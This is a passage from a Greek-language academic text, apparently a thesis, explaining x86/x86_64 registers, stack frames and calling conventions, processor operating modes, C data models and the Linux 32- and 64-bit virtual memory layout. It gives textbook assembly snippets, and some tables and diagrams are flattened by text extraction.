2.1.3 Flat memory model Αυτό το είδος διευθυνσιοδότησης που χρησιμοποιείται από την αρχιτεκτονική 64bit, δεν διαχωρίζει την μνήμη σε τμήματα. Αντίθετα όλος ο χώρος διευθύνσεων είναι ενιαίος (flat memory model). Το γεγονός αυτό μικραίνει την καθυστέρηση (overhead) στην εκτέλεση των εντολών, και είναι εφικτό εξαιτίας του μεγάλου μεγέθους του χώρου διευθύνσεων που μπορούμε να έχουμε με διευθύνσεις των 64 bit. 2.2 Καταχωρητές x86 Η αρχιτεκτονική IA-32 (Intel Architecture 32bit) έχει 16 βασικούς καταχωρητές που σχετίζονται με την εκτέλεση των προγραμμάτων. Αυτοί οι καταχωρητές κατηγοριοποιούνται όπως φαίνεται στον Πίνακας 1. Μία πιο λεπτομερή περιγραφή τους δίνεται στον Πίνακας 2. Καταχωρητές γενικής χρήσης (General purpose registers) Καταχωρητές τμημάτων (Segment registers) Καταχωρητής EFLAGS Καταχωρητής EIP 8 καταχωρητές για αποθήκευση τελεστών και δεικτών Μπορούν να αποθηκεύσουν μέχρι και 6 segment selectors Αναφέρουν την κατάσταση του προγράμματος που εκτελείται και επιτρέπει περιορισμένο έλεγχο στον επεξεργαστή (σε επίπεδο εφαρμογών) Περιέχει έναν δείκτη 32-bit στην επόμενη προς (Instruction Pointer) εκτέλεση εντολή. Πίνακας 1. Καταχωρητές αρχιτεκτονικής IA-32 [11]-[12] 15

Καταχωρητές τμημάτων - Segment CS Code Segment Δείχνει στο ενεργό Code Segment DS Data Segment Δείχνει στο ενεργό data-segment SS Stack Segment Δείχνει στο ενεργό stack-segment ES Extra Segment Δείχνει στο ενεργό extra-segment Καταχωρητές Δεικτών - Pointer EIP Instruction Pointer Δείχνει στο offset της επόμενης προς εκτέλεση εντολής ESP Stack Pointer Δείκτης της στοίβας (Stack pointer) στο τμήμα SS EBP Base Pointer Δείκτης σε δεδομένα στην στοίβα (στο τμήμα SS) EAX Accumulator Register Γενικής Χρήσης καταχωρητές Αθροιστής για τελεστές και αποτελέσματα EBX Base Register Δείκτης σε δεδομένα που βρίσκονται στο DS segment ECX Count Register Μετρητής για συμβολοσειρές και επαναλήψεις (loops) EDX Data Register Δείκτης εισόδου/εξόδου Καταχωρητές Index ESI Source Index Δείκτης για δεδομένα στο τμήμα που δείχνει ο καταχωρητής DS - Πηγαίος δείκτης για λειτουργίες συμβολοσειρών EDI Destination Index Δείκτης σε δεδομένα στο τμήμα που ορίζει ο καταχωρητής ES Δείκτης προορισμού για λειτουργίες με συμβ/ρές EFLAGS Καταχωρητής EFLAGS Περιέχει μια ομάδα από σημαίες (flags) κατάστασης, ελέγχου και συστήματος. Πίνακας 2. Λίστα καταχωρητών αρχιτεκτονικής IA-32 [11]-[12] 16

Σχήμα 2. Καταχωρητής EFLAGS [11] 2.3 Καταχωρητές x86_64 Σε κατάσταση 64-bit υπάρχουν 8 επιπλέον καταχωρητές R8-R15. Ανάλογα με το μέγεθος του τελεστή (operand size) οι γενικής χρήσης καταχωρητές μετονομάζονται χρησιμοποιώντας το REX prefix: RAX, RBX, RCX, RDX, RDI, RSI, RBP, RSP για τελεστή μεγέθους 8 byte ενώ διατηρούν τα αρχικά τους ονόματα (EAX, EBX κλπ.) για τελεστή των 4 byte. 17

Οι καινούργιοι καταχωρητές R8-R15 μπορούν να προσπελαστούν σε οποιοδήποτε από τα επίπεδα byte, word, dword, qword παίρνοντας αντίστοιχη ονομασία. rxb για 8 bit rxw για 16 bit rxd για 32 bit rx για 64 bit, όπου Χ ο αριθμός 8 15. Οι καταχωρητές τμημάτων (segment) παίρνουν την ίδια διεύθυνση και δεν έχουν ισχύ. Ο καταχωρητής με EFLAGS μετονομάζεται σε RFLAGS επεκτείνεται σε 64 bit από τα οποία μόνο τα 32 τελευταία χρησιμοποιούνται. 18

3 Στοίβα Stack Η μνήμη του υπολογιστή λειτουργεί ως μία στοίβα. Η στοίβα είναι μία δομή δεδομένων στην οποία η είσοδος/έξοδος των δεδομένων γίνεται με σειρά Last In First Out (LIFO). Κατά την διάρκει λειτουργίας του υπολογιστή, συμβαίνουν οι εξής ενέργειες στην στοίβα: Μεταφορά ελέγχου Όταν καλείται μία ρουτίνα, η διεύθυνση επιστροφής της εντολής αποθηκεύεται στην στοίβα έτσι ώστε ο έλεγχος να μπορεί να επιστρέφει πίσω στο πρόγραμμα που την κάλεσε. Πέρασμα παραμέτρων Η στοίβα λειτουργεί ως ένα μέσο για το πέρασμα παραμέτρων στην καλούμενη μέθοδο. Οι εντολές call και ret (return) χρησιμοποιούνται για το σωστό πέρασμα μεταξύ των μεθόδων. Η εντολή call χρησιμοποιείται για το κάλεσμα μιας μεθόδου, και έχει την εξής σύνταξη, call proc-name Όπου proc-name είναι το όνομα της ρουτίνας. Ο assembler αντικαθιστά το procname με το offset της πρώτης εντολής της καλούμενης μεθόδου. 19

3.1 Μεταφορά ελέγχου Η τιμή της μετατόπισης που δίνεται από την εντολή call δεν είναι μία απόλυτη τιμή (για παράδειγμα, η μετατόπιση δεν είναι σχετική με την αρχή του code segment που δίνεται από τον καταχωρητή CS), αλλά μία μετατόπιση σε bytes σχετική με την εντολή που ακολουθεί την εντολή call. Έτσι αφού έχει ανακληθεί η εντολή call από το code segment, ο καταχωρητής EIP δείχνει στην αμέσως επόμενη εντολή. Αυτήν είναι και η εντολή στην οποία θα πρέπει να επιστρέψει το πρόγραμμα μετά την εκτέλεση της υπορουτίνας. Επομένως το περιεχόμενο του EIP αποθηκεύεται στην στοίβα. Τώρα για να γίνει η μεταφορά του ελέγχου του προγράμματος στην καλούμενη ρουτίνα θα πρέπει η πρώτη εντολή αυτής της υπορουτίνας να φορτωθεί στον EIP. Για να γίνει αυτό, ο επεξεργαστής προσθέτει την σχετική μετατόπιση στην οποία αναφέρεται η εντολή call στο περιεχόμενο του EIP. Η μετατόπιση μπορεί να είναι είτε θετική είτε αρνητική ανάλογα με την διεύθυνση που βρίσκεται η εντολή στην οποία πρόκειται να μεταφερθεί ο έλεγχος σχετικά με την τρέχουσα εντολή. Στο κομμάτι κώδικα K 2, δίνονται συνοπτικά οι διαδικασίες που γίνονται κατά την διάρκεια μίας κλήσης υπορουτίνας. ESP = ESP 4 ; Κάνουμε χώρο στην στοίβα SS:ESP = EIP ; Η διεύθυνση επιστροφής μπαίνει την στοίβα EIP = EIP + σχετική μετατόπιση ; Ανανέωση του ΕΙΡ ώστε να δείχνει στην υπορουτίνα K 2. Μεταφορά ελέγχου 20

3.2 Η εντολή ret Χρησιμοποιείται για την επιστροφή του ελέγχου από την καλούμενη διαδικασία στην καλούσα. Ο έλεγχος επιστέφεται στην εντολή που ακολουθεί την εντολή call. Ο επεξεργαστής ξέρει που βρίσκεται αυτή η εντολή ανακαλώντας την από την κορυφή της στοίβας, όπου είχε τοποθετηθεί κατά την κλήση της υπορουτίνας. Η διαδικασία φαίνεται στο K 3. EIP = SS:ESP ESP = ESP + 4 ; Η διεύθυνση επιστροφής στον EIP με λειτουργία pop ; Η κορυφή της στοίβας δείχνει μία θέση πίσω K 3. Επιστροφή ελέγχου 3.3 Πέρασμα παραμέτρων Το πέρασμα παραμέτρων σε γλώσσα assembly είναι διαφορετικό και πιο περίπλοκο από αυτό στις γλώσσες υψηλότερου επιπέδου. Η καλούσα μέθοδος πρώτα τοποθετεί όλες τις παραμέτρους που χρειάζονται από την καλούμενη μέθοδο σε μία περιοχή μνήμης προσβάσιμη και από τις δύο μεθόδους (είτε καταχωρητές είτε μνήμη), και έπειτα η καλούμενη μέθοδος μπορεί να ξεκινήσει την διαδικασία της. Υπάρχουν δύο κοινές μέθοδοι ανάλογα με τον τύπο της περιοχής μνήμης που χρησιμοποιείται για το πέρασμα των παραμέτρων: η μέθοδος των καταχωρητών και η μέθοδος της στοίβας. Όπως φαίνεται και από τα ονόματά τους, η μέθοδος των καταχωρητών χρησιμοποιεί καταχωρητές γενικής χρήσης για να περάσει παραμέτρους, ενώ στην δεύτερη μέθοδο χρησιμοποιείται για αυτόν τον σκοπό η στοίβα. 21

3.4 Η μέθοδος των καταχωρητών Σε αυτή την μέθοδο, η καλούσα ρουτίνα τοποθετεί τις απαραίτητες παραμέτρους σε καταχωρητές γενικής χρήσης πριν την κλήση της υπορουτίνας. Αυτό έχει τα εξής πλεονεκτήματα: 1. Είναι ευκολότερη και πιο βολική για το πέρασμα μικρού αριθμού παραμέτρων. 2. Είναι γρηγορότερη επειδή όλες οι παράμετροι βρίσκονται σε καταχωρητές. Αλλά ταυτόχρονα και τα εξής μειονεκτήματα: 1. Το κύριο μειονέκτημα είναι ότι μόνο ένας μικρός αριθμός παραμέτρων μπορεί να υπάρξει επειδή ο αριθμός των καταχωρητών γενικής χρήσης είναι μικρός. 2. Ένα άλλο πρόβλημα είναι ότι οι καταχωρητές γενικής χρήσης χρησιμοποιούνται από την καλούσα ρουτίνα για κάποιον άλλο σκοπό. Επομένως είναι απαραίτητο να κρατηθούν τα περιεχόμενα τους στην στοίβα πριν την κλήση της υπορουτίνας και να ανακληθούν μετά την επιστροφή της. Επομένως χάνεται το πλεονέκτημα της ταχύτητας αφού εμπλέκονται και πάλι διαδικασίες πρόσβασης μνήμης. 22

3.5 Η μέθοδος της στοίβας Σε αυτήν την μέθοδο, όλες οι παράμετροι που χρειάζονται από την υπορουτίνα τοποθετούνται στην στοίβα πριν την κλήση της. Για παράδειγμα αν θέλουμε να περάσουμε δύο παραμέτρους n1 και n2 στην υπορουτίνα sub_proc, τότε χρησιμοποιούμε το κομμάτι κώδικα K 4. push push call n1 n2 sub_proc K 4. Πέρασμα παραμέτρων με χρήση της στοίβας Μετά την εκτέλεση της εντολής call, η οποία θα προκαλέσει την αυτόματη τοποθέτηση του περιεχομένου του EIP στην στοίβα, η στοίβα θα έχει μορφή όπως παρουσιάζεται στο Σχήμα 3. 0xffffff +------- ------- + p1 +------- ------- + p2 +-------------- + return <--- Κορυφή στοίβας (ESP) address +------- ------- + 0x000000 Σχήμα 3. Στοίβα μετά την κλήση της εντολής call Χωρίς να ξεχνάμε ποτέ ότι η στοίβα μεγαλώνει προς μικρότερες διευθύνσεις. Το διάβασμα των παραμέτρων p1 και p2 γίνεται ως εξής: Οι παράμετροι βρίσκονται κάτω από την τιμή του EIP, άρα για την προσπέλαση αυτών θα πρέπει να κάνουμε χρήση της εντολές 'pop' (Κώδικας K 5). 23

pop EAX ; Ανάκληση της τιμής του EIP pop EBX ; Η πρώτη παράμετρος pop ECX ; Η δεύτερη παράμετρος push EAX ; Επανατοποθέτηση του EIP στην στοίβα έτσι ώστε η κορυφή της στοίβας να δείχνει στην διεύθυνση επιστροφής K 5. Ανάγνωση παραμέτρων Το κύριο πρόβλημα με αυτό τον κώδικα είναι ότι χρειάζεται να υπάρχουν κάποιοι καταχωρητές ελεύθεροι ώστε να μπορoύμε να αντιγράψουμε τις τιμές των παραμέτρων. Πράγμα που σημαίνει πως η καλούσα ρουτίνα δεν μπορεί να χρησιμοποιήσει αυτούς τους καταχωρητές για κάποια άλλη χρήση. Επίσης πρόβλημα προκύπτει όταν ο αριθμός των παραμέτρων αυξάνεται. Ένας τρόπος για να ελευθερωθούν καταχωρητές είναι να αντιγράφονται οι παράμετροι που βρίσκονται στην στοίβα σε τοπικές μεταβλητές, αλλά αυτό δεν είναι αρκετά πρακτικό. Ο καλύτερος τρόπος για το πέρασμα των μεταβλητών είναι να μένουν στην στοίβα και να προσπελάζονται όταν χρειαστούν. Από την στιγμή που η στοίβα είναι μία αλληλουχία από περιοχές μνήμης, η τιμή ESP + 4 θα δείχνει στην παράμετρο p2, και ESP + 8 στην p1. Για παράδειγμα το παρακάτω μπορεί να χρησιμοποιηθεί για την ανάκληση της παραμέτρου p2. EBX, [ESP+4] Σε αυτήν την περίπτωση όμως, ο δείκτης την κορυφής της στοίβας (ESP) αλλάζει κάθε φορά με την εκτέλεση των εντολών push και pop. Σαν αποτέλεσμα, η σχετική μετατόπιση αλλάζει με κάθε λειτουργία που κάνει η καλούμενη ρουτίνα στην στοίβα. Αυτό που μπορούμε να κάνουμε τελικώς είναι να χρησιμοποιήσουμε τον 24

καταχωρητή EBP αντί για τον ESP για να προσδιορίσουμε το offset μέσα στην στοίβα. Για παράδειγμα, μπορούμε να αντιγράψουμε την τιμή της παραμέτρου p2 στον EAX με τις εντολές που παρουσιάζονται στο κομμάτι κώδικα K 6. mov mov EBP,ESP EAX,[EBP+4] K 6. Αντιγραφή παραμέτρου στον EAX Αυτός είναι ο συνηθισμένος τρόπος δεικτών σε παραμέτρους στην στοίβα. Από την στιγμή που κάθε ρουτίνα χρησιμοποιεί τον καταχωρητή EBP για την πρόσβαση παραμέτρων, ο EBP θα πρέπει να κρατηθεί για αυτόν τον σκοπό. Επομένως, θα πρέπει να κρατήσουμε τα περιεχόμενα του καταχωρητή πριν εκτελέσουμε την παρακάτω εντολή, mov EBP,ESP Και για αυτόν τον σκοπό χρησιμοποιούμε την στοίβα. push mov EBP EBP,ESP Με αυτό τον τρόπο η μετατόπιση των παραμέτρων θα αυξηθεί 4 byte (Σχήμα 4). 25

+------- ------- + p1 +------- ------- + p2 +------- ------- + return address +------- ------- + EBP <--- EBP,ESP +------- ------- + Σχήμα 4. Δείκτης στοίβας μετά την αντικατάσταση του περιεχομένου του με αυτό του δείκτη EBP Οι πληροφορίες που αποθηκεύονται στην στοίβα (παράμετροι, διεύθυνση επιστροφής, προηγούμενη τιμή του EBP) ονομάζονται ομαδικά stack frame. Το stack frame περιέχει επίσης τοπικές μεταβλητές εάν η μέθοδος τις χρησιμοποιεί. Η τιμή του EBP αναφέρεται ως frame pointer (FP). Μόλις η τιμή του είναι γνωστή, μπορούμε να προσπελάσουμε όλα τα αντικείμενα στο stack frame. Πριν επιστραφεί ο έλεγχος από την υπορουτίνα, θα πρέπει να χρησιμοποιήσουμε την εντολή, pop EBP για να επαναφέρουμε την αρχική τιμή του EBP (Σχήμα 5). 26

+------- ------- + p1 +------- ------- + p2 +------- ------- + return <--- Κορυφή στοίβας ESP address +------- ------- + Σχήμα 5. Επαναφορά αρχικής τιμής EBP Η εντολή ret προκαλεί την διεύθυνση επιστροφής να τοποθετηθεί στο καταχωρητή EIP, και η στοίβα φαίνεται στο Σχήμα 6. +------- ------- + p1 +------- ------- + p2 <-- ESP +------- ------- + Σχήμα 6. Μετά την κλήση της εντολής ret Έπειτα από αυτή την εντολή, τα 8 byte της στοίβας που περιέχουν τις παραμέτρους δεν χρειάζονται πλέον. Ένας τρόπος να τα ελευθερώσουμε είναι να αυξήσουμε τον ESP κατά 8 αμέσως μετά την εντολή call, όπως φαίνεται στο κομμάτι κώδικα K 7. 27

push push call add p1 p2 sub_proc ESP,8 K 7. Απελευθέρωση μνήμης με αύξηση του ESP Για παράδειγμα, οι C compilers χρησιμοποιούν αυτήν την μέθοδο για να καθαρίσουν τις παραμέτρους από την στοίβα. Συγκεκριμένα το παραπάνω κομμάτι κώδικα αντιστοιχεί στην εξής κλήση, sub_proc(number2, number1); Αντί να προσαρμοστεί η στοίβα από την καλούσα μέθοδο θα μπορούσε επίσης η καλούμενη μέθοδος να καθαρίσει την στοίβα. Σε αυτή την περίπτωση όμως το παρακάτω, add ESP, 8 ret είναι λάθος, καθώς όταν θα εκτελεστεί η εντολή ret, ο ESP θα πρέπει να δείχνει στην διεύθυνση επιστροφής στην στοίβα. Η λύση βρίσκεται στην προαιρετική παράμετρο που μπορεί να δεχτεί η εντολή ret, ret optional-value το οποίο έχει σαν αποτέλεσμα στην παρακάτω ακολουθία εντολών, EIP = SS:ESP ESP= ESP + 4 + o p t i o n a l - v a l u e Η παράμετρος optional-value θα πρέπει να είναι ένας αριθμός. Αφού ο σκοπός της προαιρετικής τιμής είναι να αγνοηθούν οι παράμετροι που βρίσκονται στην 28

στοίβα αυτό το όρισμα έχει θετική τιμή. Οι γνώσεις χαμηλού επιπέδου για το πέρασμα από μία μέθοδο σε άλλη μας είναι απαραίτητες καθώς για να πετύχουμε τον σκοπό μας, στο πρόγραμμα θα τοποθετήσουμε έναν ενδιάμεσο κώδικα μεταξύ κάποιων μεθόδων του πυρήνα. 3.6 Η στοίβα σε συστήματα x64 Στα συστήματα AMD64 οι πρώτες 6 ακέραιες παράμετροι (και οτιδήποτε χωράει ουσιαστικά σε έναν καταχωρητή των 64 bit) εισάγεται μέσω καταχωρητών. Μόνο μετά από αυτό το γεγονός μπορούν τα δεδομένα να μπουν στην στοίβα. Σε αρχιτεκτονικές IA64, τα πρώτα 9 ορίσματα περνούν μέσω καταχωρητών ενώ τα υπόλοιπα τοποθετούνται στην στοίβα. Και στις δύο αρχιτεκτονικές υπάρχει μια επιπλέον περιοχή -16 byte με το όνομα scratch area για IA64 και 128 byte με όνομα red zone για AMD64 η οποία είναι κάτω από το τέλος του τρέχοντος stack frame. Και στις δύο αρχιτεκτονικές αυτή η περιοχή δεν μεταβάλλεται από σήματα ή διακοπές, ενώ οι μέθοδοι που δεν καλούν άλλες μεθόδους (Leaf functions) μπορούν να χρησιμοποιήσουν αυτή την περιοχή για όλο το stack frame τους. 29

4 Τεχνολογίες επεξεργαστών και διαφορές τους 4.1 Αρχιτεκτονικές AMD64 και IA64 Η αρχιτεκτονική x86-64 είναι ένα υπερσύνολο της αρχιτεκτονικής x86. Αυτό σημαίνει πως όλες οι εντολές που μπορούν να εκτελεστούν σε x86, μπορούν επίσης να εκτελεστούν και από ΚΜΕ οι οποίες υλοποιούν το σύνολο εντολών x86-64. Επομένως αυτές οι ΚΜΕ μπορούν να εκτελέσουν τοπικά προγράμματα που εκτελούνται σε επεξεγαστές x86 της Intel, AMD και άλλων κατασκευαστών. Η αρχιτεκτονική x86-64 όμως δεν πρέπει να συγχέεται με την ΙΑ64. Αντίθετα, η πρώτη αναφέρεται στην αντίστοιχη AMD64. Η AMD αντιγράφοντας την x86 αρχιτεκτονική της Intel και επεκτείνοντας την για 64bit έφτιαξε την βασική αρχιτεκτονική που σήμερα αποκαλείται x86_64, x64 ή AMD64. Τον ίδιο καιρό η Intel είχε αναπτύξει την ΙΑ64, η οποία διέφερε ριζικά από την x86 ή ακόμη και την AMD64. Αργότερα προκειμένου να υπάρχει συμβατότητα η Intel ανέπτυξε την EM64T, η οποία είναι όμοια και συμβατή με την AMD64. Οι δύο αυτές τεχνολογίες αναφέρονται συχνά με τα ονόματα που προαναφέρθηκαν (AMD64, x84_64, x64). Στο παρόν κείμενο θα ασχοληθούμε με την τεχνολογία AMD64 (ή EM64T) όσων αφορά το μοντέλο διευθύνσεων των 64bit, και όποτε αναφέρουμε το όνομα x86_64 ή x64 θα αναφερόμαστε σε αυτήν. 30

5 Καταστάσεις λειτουργίας και μοντέλα μνήμης Operating modes & memory models Με όσα προαναφέρθηκαν βλέπουμε πως υπάρχει η ανάγκη ένας επεξεργαστής να μπορεί να λειτουργήσει σε διαφορετικές καταστάσεις προκειμένου να καλύψει τις ανάγκες συμβατότητας. Οι καταστάσεις λειτουργίας που συναντάμε συνήθως στους επεξεργαστές x64 είναι οι παρακάτω, Long mode Η βασική κατάσταση λειτουργίας στην οποία προορίζεται να λειτουργεί. Είναι ένας συνδυασμός της τοπικής κατάστασης λειτουργίας 64-bit και ένας των 32-bit και 16-bit. Χρησιμοποιείται από ΛΣ των 64-bit. Σε ένα ΛΣ των 64-bit μπορούν να τρέξουν εφαρμογές των 64-bit, 32-bit ή 16-bit. Από την στιγμή που το βασικό instruction set είναι το ίδιο, δεν υπάρχει μεγάλη διαφορά απόδοσης στην εκτέλεση κώδικα x86. Αυτό έρχεται σε αντίθεση με την αρχιτεκτονική ΙΑ-64 της Intel, όπου οι διαφορές στο ISA σημαίνουν ότι η εκτέλεση κώδικα 32-bit πρέπει να γίνει είτε σε εξομοίωση της x86, είτε με έναν επεξεργαστικό πυρήνα καθαρά για x86. Αυτό καθιστούσε την διεργασία εξαιρετικά αργή χάνοντας την αξία της προς τα πίσω συμβατότητας. Ωστόσο, στην AMD64, οι εφαρμογές των 32-bit μπορούν να επωφελούνται της επαναμεταγλώττισης σε 64- bit, εξ αιτίας των επιπλέον καταχωρητών τους οποίους ένας μεταγλωττιστής μπορεί να χρησιμοποιήσει για optimization. Legacy mode Η κατάσταση που χρησιμοποιείται από ΛΣ των 16 και 32 bit. Σε αυτή τη κατάσταση ο επεξεργαστήςσυμπεριφέρεται όπως οποιοσδήποτε άλλος x86 31

επεξεργαστής, και μόνο κώδικας των 16 και 32 bit μπορεί να εκτελεστεί. Τα προγράμματα των 64-bit δεν θα εκτελεστούν. 64-bit mode Σε αυτή την κατάσταση μπορούμε να τρέξουμε ΛΣ και εφαρμογές που μπορούν να έχουν πρόσβαση σε χώρο διευθύνσεων 64 bit. Στην πραγματικότητα δημιουργείται ένας επίπεδος 64-bit linear-address χώρος, απενεργοποιώντας σχεδόν καθολικά το segmentation. Συγκεκριμένα ο επεξεργαστής θεωρεί την βάση των segment CS, DS, ES και SS σαν μηδέν. Compatibility mode Σε αυτή την κατάσταση μπορούμε να τρέχουμε στο 64-bit λειτουργικό μας σύστημα εφαρμογές για 32 bit. Η λειτουργία ενεργοποιείται σε επίπεδο εφαρμογής. Αυτό σημαίνει ότι ενώ οι τελευταίες εφαρμογές μπορεί να τρέχουν σε compatibility mode, την ίδια στιγμή άλλες μπορούν τρέχουν σε κανονική λειτουργία 64-bit. H AMD ονομάζει άλλη μία κατηγορία, legacy mode, για την περίπτωση που ο επεξεργαστής υποστηρίζει x86_64 αλλά το ΛΣ είναι 16 ή 32 bit [13]. Οι καταστάσεις λειτουγίας του επεξεργαστή φαίνονται αναλυτικά στον Πίνακας 3. 32

Operating mode Operating system required Compiledapplication rebuild required Default address size Default operand size Register extensions Typical GPR width 64-bit mode Yes 64 32 Yes 64 Long mode Compatibility mode OS with 64-bit support No 32 32 No 32 16 16 16 Legacy mode Protected mode Virtual 8086 mode Legacy 16-bit or 32-bit OS No 32 32 32 16 16 16 No 16 16 16 Real mode Legacy 16-bit OS Πίνακας 3. Καταστάσεις λειτουργίας επεξεργαστή [14] 33

6 Μοντέλα δεδομένων Για την γλώσσα C, όσων αφορά τους τύπους δεδομένων, υπάρχουν 3 βασικά μοντέλα που μπορούν να επιλεγούν: LP64, ILP64 και LLP64. Αυτά παρουσιάζονται στον Πίνακας 4 μαζί με το μέγεθος σε bit που διατίθεται σε κάθε έναν τύπο δεδομένων. Ο τύπος LP64 (ή αλλιώς 4/8/8) δηλώνει τους τύπους long και pointer με 64 bit, ο ILP64 (8/8/8) έχει int, long και pointer 64 bit και ο LLP64 (4/4/8) προσθέτει έναν καινούργιο τύπο, τον long long. Αυτός και ο pointer είναι μεγέθους 64 bit. Τα περισσότερα σημερινά συστήματα είναι τύπου ILP32 (δηλαδή οι τύποι int, long και pointers είναι 32-bit). Datatype LP64 ILP64 LLP64 ILP32 LP32 char 8 8 8 8 8 short 16 16 16 16 16 _int32 32 Int 32 64 32 32 16 long 64 64 32 32 32 long long 64 pointer 64 64 64 32 32 Πίνακας 4. Τύποι δεδομένων και μέγεθος στη μνήμη σε bit Στοο πρόγραμμα που θα αναπτύξουμε θα είμαστε προσεκτικοί στην επιλογή των τύπων των δεδομένων μας. Επίσης θα χρησιμοποιήσουμε ένα χαρακτηριστικό που παραμένει ίδιο σε όλους τους βασικούς τύπους, και είναι το μέγεθος του pointer. Χρησιμοποιώντας το μέγεθος αυτού θα κάνουμε την διάκριση μεταξύ ενός συστήματος 32 και ενός 64 bit. 34

7 Ιδεατή μνήμη Virtual Memory 7.1 Ιδεατός χώρος μνήμης 32-bit Η μνήμη σε φυσικό επίπεδο στο Linux χωρίζεται σε ζώνες, καθεμία από τις οποίες περιέχει διαφορετικού είδους δεδομένα. Οι ζώνες είναι οι εξής, ZONE_DMA ZONE_NORMAL ZONE_HIGHMEM Πρώτα 16MB μνήμης Τα πρώτα 16 896 MB μνήμης 896 MB τέλος END ZONE user HIGHMEM mode +------- + 896 MB Physical Memory ZONE kernel NORMAL mode +--------+ 16 MB ZONE DMA +--------+ 0 MB Σχήμα 7. Οργάνωση φυσικής μνήμης Οι περισσότερες διεργασίες του πυρήνα λαμβάνουν χώρα στο ZONE_NORMAL. Στην ζώνη ZONE_HIGHMEM συνήθως υπάρχουν δεδομένα κατάστασης χρήστη (user mode). Η φυσική μνήμη επιπλέον χωρίζεται σε τμήματα σταθερού μεγέθους που ονομάζονται page tables. Όταν ο πυρήνας χρειαστεί 35

επιπλέον μνήμη από αυτή που του παρέχει το ZONE_NORMAL για την αποθήκευση δεδομένων, του αποδίδονται προσωρινά κάποιες σελίδες από το ZONE_HIGHMEM με την μέθοδο kmap. Αυτήν όμως είναι η μορφή της μνήμης σε φυσικό επίπεδο. Η μορφή που είναι αποθηκευμένες οι ακολουθίες των bit στη μνήμη απέχει πολύ από τον τρόπο που προσπελάζονται. Η διαδικασία για την κατανόηση αυτών που βλέπουμε περιγράφεται παρακάτω: Με την βοήθεια της μονάδας διαχείρισης μνήμης (memory managerment unit) κάθε διεργασία μπορεί να λειτουργεί νομίζοντας πως έχει όλη τη φυσική μνήμη του συστήματος διαθέσιμη. Ο χώρος που βλέπει κάθε διεργασία ονομάζεται virtual address space και το μέγεθός του εξαρτάται από το ποσοστό της μνήμης που μπορεί να διευθυνσιοδοτήσει ο συγκεκριμένος επεξεργαστής. Έτσι έχουμε έναν χώρο διευθύνσεων 4G στην περίπτωση διευθύνσεων 32-bit, 64G σε περίπτωση PAE (Physical Address Extension) της Intel, ενώ 16 exabytes για διευθύνσεις των 64 bit. Στο linux ο χώρος αυτός (virtual address space) χωρίζεται σε δύο μέρη, ένα για τα δεδομένα κατάστασης χρήστη (user mode) και ένα για αυτά του πυρήνα (kernel mode). Αυτός ο διαχωρισμός έχει επικρατήσει να ονομάζεται user/kernel split. Ο λόγος ύπαρξης αυτού είναι η παροχή ασφάλειας, καθορίζοντας έναν σταθερό, μη μεταβαλλόμενο διαχωρισμό μεταξύ των δύο. Ακόμη η απλότητα στην μετάφραση των διευθύνσεων πυρήνα παρέχει ταχύτητα. Τα δεδομένα χρήστη είναι ορατά μόνο για την συγκεκριμένη διεργασία στην οποία ανήκει ο χώρος διευθύνσεων. Τα δεδομένα πυρήνα είναι ορατά από όλες τις διεργασίες αντιστοιχώντας τα στο πάνω μέρος του virtual address space κάθε διεργασίας. Παρατηρούμε έτσι πως για κάθε διεργασία υπάρχει στο ανώτερο μέρος διευθύνσεών της ένα ιδεατό αντίγραφο της εικόνας του πυρήνα στη 36

μνήμη, ενώ στο κατώτερο τμήμα έχει τα δικά της δεδομένα, ορατά μόνο από την ίδια. Αν και τα δεδομένα του πυρήνα έχουν διευθύνσεις, ωστόσο οποιαδήποτε πρόσβαση στην περιοχή του πυρήνα κατά την εκτέλεση σε user mode θα προκαλέσει ένα σφάλμα protection violation. Μόνο κατά την εκτέλεση σε kernel mode είναι προσβάσιμα και τα δύο μέρη. +----------+ 4 GB Kernel Virtual Space Virtual (1 GB) Memory +----------+ 3 GB User-space Virtual Space (3 GB) +----------+ 0 GB Σχήμα 8. Οργάνωση ιδεατής μνήμης [14] Όταν βρισκόμαστε σε compatibility mode ο χώρος για τον πυρήνα θα είναι κατά πάσα πιθανότητα 1G, ορίζοντας έτσι ένα 1/3 split. Μία άλλη περίπτωση που θα μπορoύσαμε να συναντήσουμε είναι το 2/2 split, δηλαδή 2G για κάθε έναν χώρο. Αυτό που πρέπει να διευκρινιστεί εδώ είναι ότι η πρόσβαση στα δεδομένα του πυρήνα γίνεται σε κάθε περίπτωση από το τέλος του virtual address space. Δηλαδή οι διευθύνσεις του πυρήνα σε περίπτωση 1/3 split θα ξεκινάνε από την διεύθυνση 0xC0000000. Αυτή η τιμή θα μας απασχολήσει αργότερα καθώς θα πρέπει να προσδιοριστεί προκειμένου να λειτουργήσει το πρόγραμμα που θα αναπτύξουμε. Ξέροντας την τιμή αυτή μπορούμε να κάνουμε ακριβείς μεταφράσεις φυσικών σε ιδεατές διευθύνσεις μνήμης. Είναι κατά κάποιο τρόπο το κλειδί για να μπορέσουμε 37

να γράψουμε δεδομένα στις ενδιαφέρουσες περιοχές που θα ανακαλύψουμε σκανάροντας την μνήμη. Το τέλος των δεδομένων του χρήστη σηματοδοτείται από το task size limit. Το όριο αυτό μπορούμε να το βρούμε σαν macro με την ονομασία TASK_SIZE στο αρχείο include/asm/processor.h. 7.2 Ιδεατός χώρος μνήμης 64-bit Αν και οι virtual διευθύνσεις είναι των 64 bit σε καταστάσεις λειτουργίας 64-bit, ωστόσο οι παρούσες υλοποιήσεις δεν επιτρέπουν να χρησιμοποιηθεί όλο το εύρος των 16 EB του virtual address space [15]. Τα περισσότερα λειτουργικά συστήματα και οι εφαρμογές δεν χρειάζονται τόσο μεγάλο χώρο διευθύνσεων στο άμεσο μέλλον, επομένως η χρησιμοποίηση όλου του εύρους θα προσέθετε απλώς πολυπλοκότητα και κόστος της μετάφρασης των διευθύνσεων μη προσφέροντας κανένα κέρδος. Η AMD λοιπόν αποφάσησε ότι στην πρώτη υλοποίηση της αρχιτεκτονικής μόνο τα τελευταία 48 bit (least significant) της virtual διεύθυνσης θα μπορούσαν στην πραγματικότητα να χρησιμοποιηθούν στην μετάφραση διευθύνσεων. Ωστόσο, τα bit 48 μέχρι 63 οποιασδήποτε virtual διεύθυνσης πρέπει να είναι αντίγραφα του bit 47 (με τρόπο παρόμοια με το sign extension), διαφορετικά ο επεξεργαστής υψώνει εξαίρεση. Διευθύνσεις που συμβαδίζουν με αυτόν τον κανόνα αναφέρονται ως διευθύνσης σε κανονική μορφή (canonical form). Αυτές οι διευθύνσεις έχουν εύρος από 0 μέχρι 00007FFF.FFFFFFFF, και από FFFF8000.00000000 μέχρι FFFFFFFF.FFFFFFFF, με συνολικά 256 TB 